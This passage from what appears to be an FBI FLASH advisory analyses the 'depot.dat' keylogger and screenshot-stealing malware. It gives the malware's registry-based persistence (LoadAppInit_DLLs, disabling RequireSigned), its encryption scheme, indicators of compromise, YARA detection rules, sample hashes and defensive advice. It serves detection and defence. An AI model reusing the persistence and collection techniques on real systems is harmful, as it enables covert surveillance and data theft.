"JXsITS7JIWItpoSkBrf8wz5JVOXgrSCJVoKmYlbSjpmmmIsU3y0zRlIwbWmZhGZ4n5mrN2O
pajXGiYqIypzVMWQkNUbYHpW1" fullword wide ascii
$x2 = "Contatcts" fullword wide ascii
$x3 = "cng.cn" fullword wide ascii
$x4 = "odr.od" fullword wide ascii
$x5 = "Content-Disposition: form-data; name=\"InputFile\";filename=\""
fullword wide ascii
condition:
3 of them /* any string in the rule */
}
```

Depot.dat Malware Overview/Analysis

The depot.dat malware had the ability to collect victim screenshots, keylogger information, and other data, and then send this data to Rana controlled infrastructure. The malware comprised two components: a dropper and an encrypted Microsoft CAB file. The CAB file is named `depot.dat` and contains four files that make up the second stage of the malware. The Dropper decrypts the encrypted CAB file and establishes persistence.

Dropper Files	
Filenames:	`installer.exe` `svchost.exe`
MD5 Hash:	`fcc61b3a0277c47748a185dccccad5d8`

Depot.dat Files	
Filename:	depot.dat
MD5 Hash:	4d8e2fdb16877f693d8e90410f90a164 ce456b20f6cb4d5d74f00d976e2e7a91

Dropper Details

The dropper decrypted the depot.dat file and established a persistent mechanism for the malware. The dropper executed with a password at runtime. The password was a number between 0 and 0x10000 that represented a seed. The seed was used to create a 72-byte Blowfish decryption key. Because the malware ensures that the seed is less than 0x10000, this limits the options for the generation of a key significantly and the potential passwords that could be used.
In order to persist, the dropper sets `LoadAppInit_DLLs` in the registry key `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows` to persist `Bootmgr.dll` (extracted from the decrypted depot.dat) and turns off `RequireSigned` (which ensures that only signed DLLs may be run on Windows) so that it can load and run its next stage components. This persistence mechanism was obfuscated with a sophisticated XOR routine which used a Pseudo-Random Number Generator (PRNG) as the key.
Once the `depot.dat` file was extracted and the components deployed, the dropper would delete the encrypted depot.dat file.

Depot.dat Details

Once depot.dat was decrypted, four files are extracted from the CAB file:

Contents of CAB File	
Filename	**MD5 Hash**
Bootmgr.dll	66cb23c223ec4d78d683292d1b928fbf
bootui.dll	46506fa669ec116da3d967c36eab7ba7
mlp.dat	f3d2c6084f09433a87f248726de288e0
tfd.log	d363ecffbe6a0a62546051fc383399f4

`Bootmgr.dll` is responsible for starting `bootui.dll`. `Bootmgr.dll` is persisted in the registry by the dropper.

`Bootui.dll` opens and deobfuscates the configuration file, `mlp.dat`, as well as performs the majority of the malware's data collection and packaging functionality. After decrypting the configuration file, `bootui.dll` creates and starts threads to monitor keystrokes and collect screenshots. These files are placed into a directory listed in the configuration file (and `tfd.log`) and end with `.tmp`. Prior to exfiltration, these files are placed in a CAB file and encrypted using the key obtained from the encryption file.

`Mlp.dat` is deobfuscated by `bootui.dll` using a slightly different sophisticated XOR routine from the one used by the dropper to obfuscate the persistence mechanism. The configuration file contains the directory into which data for exfiltration will be stored, a Blowfish encryption key for victim data, a sleep timer, and some other unique data. For these pieces of malware, analysis victim data prior to egress will be stored in: `C:\Windows\Help\OEM` which is the sole contents of `tfd.log`

Depot.dat Indicators of Compromise

The FBI derived the below signatures to detect the Depot.dat malware's presence:

- Known Filenames:
  - Dropper: `installer.exe, svchost.exe`
  - `depot.dat`
- Both observed sample contents begin with `2300` but the dropper code would support files starting with `2640` or `MSCF`. Approximate size 59k.
- Second stage directory paths:
  - `C:\Windows\system32\Bootui.dll`
  - `C:\Windows\system32\Bootmgr.dl`
  - `C:\Windows\system32\Tfd.log`
  - `C:\Windows\system32\Mlp.dat`
- Director paths for victim data:
  - `C:\Windows\Help\OEM`
  - `C:\Windows\debug\WIA`
- Victim data:
  - Stored in one of the above paths, named `<timestamp>.tmp` and begins with `2300`.
- Altered registry keys:
  - `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`, specifically `LoadAppInit_DLLs` to include `Bootmgr.dll` and `RequireSigned` to be `off`

Depot.dat YARA Rules

The FBI developed the following YARA rules to detect the Android malware's presence:

```
rule Depot_dat_1 {
meta:
description = "rules for the dropper"
strings:
$format1 = "MSCF" wide ascii
$format2 = "2640" wide ascii
$format3 = "2300" wide ascii
$fnames = "depot.dat" wide ascii nocase
```

```
$fnames2 = "tfd.log" wide ascii nocase
$cabinet = "Cabinet.dll" wide ascii nocase

condition:
all of ($format*) and (1 of ($fnames*)) and $cabinet
}
```

```
rule Depot_dat_2  {
meta:
description = "rules for Bootmgr.dll"
strings:
$fname = "mlp.dat" wide ascii nocase
$fname2 = "bootui.dll" wide ascii nocase
$callnext1 = "BootUI" wide ascii
$callnext2 = "GetProcAddress" wide ascii

condition:
all of them
}
```

```
rule Depot_dat_3 {
meta:
description = "rules for bootui"
strings:
$format1 = "<xzl xnm =" wide ascii nocase
$format2 = "(...)" wide ascii
$fname1 = "__????.tmp" wide ascii
$fname2 = "mlp.dat" wide ascii nocase
$fname3 = "i.log" wide ascii nocase

condition:
all of them
}
```

```
rule Depot_dat_4 {
meta:
description = "rule for prng"
strings:
$s1 = {af 00 2c 15}/*"0x152c00af"*/
$s2 = {6d 4e c6 41} /*"0x41c64ed"*/
$s3 = {45 69 c9 24 0d 00 00} /* imul r9d, r9d, 0xd24 */
$s4 = {69 d2 da 2e 18 00} /* imul edx, edx, 0x182eda */
$s5 = {b5 81 4e 1b} /*"0x1b4e81b5"*/

condition:
3 of them
}
```

Malware Samples Uploaded to Virus Total

The FBI uploaded at least one representative sample of each malware category to VirusTotal. Specifically, the FBI uploaded the following:

VBS Malware	
Filename	**MD5 Hash**
Urban Development Plan.doc	9f7c280b20d021f0a0984d1ad0aeba41

AutoIt Malware	
Etisalat.exe	486aa8849c173450911f886116f4b5d6

BITS 1.0 Malware	
Birds.exe	91e1793bd5f3f274ddb22b47662cb860
Splitter.exe	2f01092e9cd49448b0de7da48e545682
Activorse.exe	0d6d385354584264e2b37ff3a199ea04
Splitter.exe	8f848b67af0d6ad3dd3419c9d11c28c1
poweriso.exe	45045fa9d428f29e8a3a988048e3aff1

BITS 2.0 Malware	
final1.exe	43124f6d418b086f3107a8cb708c3d2b
events.exe	6269e8ae9d86c648c15e41c7d89509ab

Firefox Malware	
1.exe	eee655c5522267d63314a0b20162d619

Python Malware	
Al_image of my own_official for registrartion_Al_GNP.exe	de8986682ab25d98448e688506250b94
Teddumper.exe	50ded657ff5a1c80d736fe3b80beb87f

Android Malware	
Optimizer.apk	426351383DFE8F88A0959A9D5E8C43C7

Depot.dat	
Depot.dat	59c2c1c6451417f054efaee32416c652

Best Practices for Network Security and Defense:

- Employ regular updates to applications and the host operating system to ensure protection against known vulnerabilities.
- Establish, and backup offline, a "known good" version of the relevant server and a regular change-management policy to enable monitoring for alterations to servable content with a file integrity system.
- Employ user input validation to restrict local and remote file inclusion vulnerabilities.
- Implement a least-privileges policy on the Webserver to:
  - Reduce adversaries' ability to escalate privileges or pivot laterally to other hosts.
  - Control creation and execution of files in particular directories.
- If not already present, consider deploying a demilitarized zone (DMZ) between the Web-facing systems and corporate network. Limiting the interaction and logging traffic between the two provides a method to identify possible malicious activity.
- Ensure a secure configuration of Webservers. All unnecessary services and ports should be disabled or blocked. All necessary services and ports should be restricted where feasible. This can include whitelisting or blocking external access to administration panels and not using default login credentials.
- Use a reverse proxy or alternative service to restrict accessible URL paths to known legitimate ones.
- Conduct regular system and application vulnerability scans to establish areas of risk. While this method does not protect against zero day attacks, it will highlight possible areas of concern.
- Deploy a Web application firewall and conduct regular virus signature checks, application fuzzing, code reviews, and server network analysis.

Reporting Notice

The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office. Field office contacts can be identified at www.fbi.gov/contact-us/field-offices. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact.

Administrative Note

This product is marked **TLP:WHITE**. Subject to standard copyright rules, **TLP:WHITE** information may be distributed without restriction.

FBI FLASH

FEDERAL BUREAU OF INVESTIGATION, CYBER DIVISION

Your Feedback on the Value of this Product Is Critical

Was this product of value to your organization? Was the content clear and concise? Your comments are very important to us and can be submitted anonymously. Please take a moment to complete the survey at the link below. Feedback should be specific to your experience with our written products to enable the FBI to make quick and continuous improvements to such products. Feedback may be submitted online here:
https://www.ic3.gov/PIFSurvey